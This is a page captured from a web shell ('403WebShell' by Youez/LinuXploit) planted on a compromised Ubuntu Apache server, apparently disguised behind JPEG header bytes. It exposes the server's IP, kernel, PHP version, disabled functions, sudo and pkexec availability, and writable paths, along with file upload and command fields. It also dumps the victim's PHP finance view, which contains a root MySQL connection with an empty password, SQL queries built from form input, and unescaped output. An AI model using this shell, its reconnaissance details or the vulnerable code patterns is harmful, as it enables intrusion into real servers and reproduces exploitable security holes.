����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.139.86.227
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/muebles/pos11/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/html/muebles/pos11/core/app/view/polizas-view.php
<?php

class Conexion
{
	private $con;
	private $id;
	
	function __construct()
	{
		$this->con = mysqli_connect("localhost","root","","webfinanza") or die ("Error " . mysqli_error($this->con));
	}

	public function retrieveQuery($sql)
	{
		$query = $this->con->query($sql);
		$this->id = mysqli_insert_id($this->con);
		
		return $query;
	}
	
	public function retrieveArray($sql)
	{
		$array = array();
		$res = $this->retrieveQuery($sql);
		
		while($row = mysqli_fetch_array($res))
		{
			$array[] = $row;
		}
		
		return $array;
	}
	
	public function retrieveLastID()
	{
		return $this->id;
	}
	
	public function retrieveField($sql)
	{
		$retorno = '';
		$res = $this->retrieveQuery($sql);
		
		while($row = mysqli_fetch_array($res))
		{
			$retorno = $row[0];
		}
		
		return $retorno;
	}
}

?>

<?php
$con = new Conexion();

if(isset($_POST['fecini'])){ $fIni = $_POST['fecini']; $fFin = $_POST['fecfin']; }else{ $fIni = '28-06-2020'; $fFin = date('d-m-Y'); }
$f_ini = substr($fIni,6,4) . "-" . substr($fIni,3,2) . "-" . substr($fIni,0,2);
$f_fin = substr($fFin,6,4) . "-" . substr($fFin,3,2) . "-" . substr($fFin,0,2);

//QUERY PARA CONTENIDO
$sql = "SELECT persona.id, persona.nombres AS persona, SUM(movimiento.importe * IF(movimiento.tipo='P',1,-1)) AS importe FROM movimiento INNER JOIN persona ON ( movimiento.idpersona = persona.id ) WHERE movimiento.idpersona <> 3 AND movimiento.fecha BETWEEN '$f_ini' AND '$f_fin' GROUP BY persona.id, persona.nombres ORDER BY importe DESC";
$datos = $con->retrieveArray($sql);
$color="COLOR_LISTA_02";
$tIng=0;
?>
  <section class="content-header">
         <h1>SALDO DE CUENTAS</h1>
          <ol class="breadcrumb">
            <li><a href="#"><i class="fa fa-dashboard"></i> Bancos</a></li>
            <li class="active">Polizas</li>
          </ol>
		  
    </section>

<section class="content">
<div class="row">
	<div class="col-md-12">

		
		
<br>
<a href="index.php?view=indexBancos" class="btn btn-default">Regresar</a>
<div class="box box-primary">
<div class="box-body">
<table class="table table-bordered datatable table-hover">
	<tr>
        <h2>Saldo de Cuentas</h2>
        <td width="100px" align="right"><input type="text" value="<?php echo $fIni; ?>" name="fecini" id="fecini" style="width:80px; text-align:center"/>>>Fecha Inicio</td>
        <td width="100px" align="right"><input type="text" value="<?php echo $fFin; ?>" name="fecfin" id="fecfin" style="width:80px; text-align:center"/>>>Fecha Fin</td>
        <td width="90px" align="right"><button type="submit" name="btnBusca" class="button icon search">Buscar</button></td>
	</tr>
</table>
</div>
</div>


<br>

<div class="box box-primary">
<div class="box-body">
<table class="table table-bordered datatable table-hover">
	<thead>
    <tr height="26px" class="lista_header">
    	<td align="center" width="50px">ID</td>
        <td>PERSONA</td>
        <td align="center">IMPORTE</td>
        <td width="10px"></td>
        <td width="270px">&nbsp;</td>
    </tr>
	</thead>
	<?php for($i=0;$i<count($datos);$i++){ ?>
   
    
    <tr height="25px" style="background-color: #<?php echo $color; ?>">
    	<td class="lista_celda" align="center"><?php echo $datos[$i]['id']; ?></td>
		<td class="lista_celda"><?php echo $datos[$i]['persona']; ?></td>
        <td class="lista_celda" align="right"><?php echo number_format($datos[$i]['importe'],2); ?></td>
        <td class="lista_celda"></td>
        <td class="lista_celda">Cuenta de <?php if($datos[$i]['importe']<0){ echo $_SESSION['nombre']; }else{ echo $datos[$i]['persona']; } ?></td>
    </tr>
    <?php } ?>
    <tr height="25px">
    	<td class="lista_celda" align="center"></td>
        <td class="lista_celda" align="center"></td>
        <td class="lista_celda" align="right"><?php echo number_format($tIng,2); ?></td>
        <td class="lista_celda" align="center"></td>
        <td class="lista_celda" align="center"></td>
    </tr>
</table>
</div>		
</div>

<br>

		



	


	
</section>

Youez - 2016 - github.com/yon3zu
LinuXploit